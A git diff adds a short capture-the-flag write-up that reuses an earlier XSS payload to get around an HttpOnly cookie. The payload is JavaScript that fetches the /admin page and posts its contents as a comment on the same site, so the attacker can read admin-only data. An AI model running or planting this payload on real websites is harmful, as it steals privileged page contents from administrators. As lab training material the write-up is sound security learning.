1 files changed, 15 insertions, 0 deletions
diff --git a/punkctf/web_03.md b/punkctf/web_03.md
new file mode 100644
index 0000000..a1d2e1e
--- /dev/null
+++ b/punkctf/web_03.md
@@ -0,0 +1,15 @@
+
+The cookie is HttpOnly now, but we only care about the contents of `/admin`, not the cookie, so we can use the same payload for `Subdomain Takeover - Easy`, but without doing the subdomain takeover.
+
+```
+fetch('/admin').then(r => r.text()).then(d => {
+  let data = new URLSearchParams();
+  data.append('name', 'admin page');
+  data.append('comment', d);
+  fetch('/new-comment', {
+    method: 'POST',
+    headers: { "Content-Type": "application/x-www-form-urlencoded" },
+    body: data,
+  });
+})
+```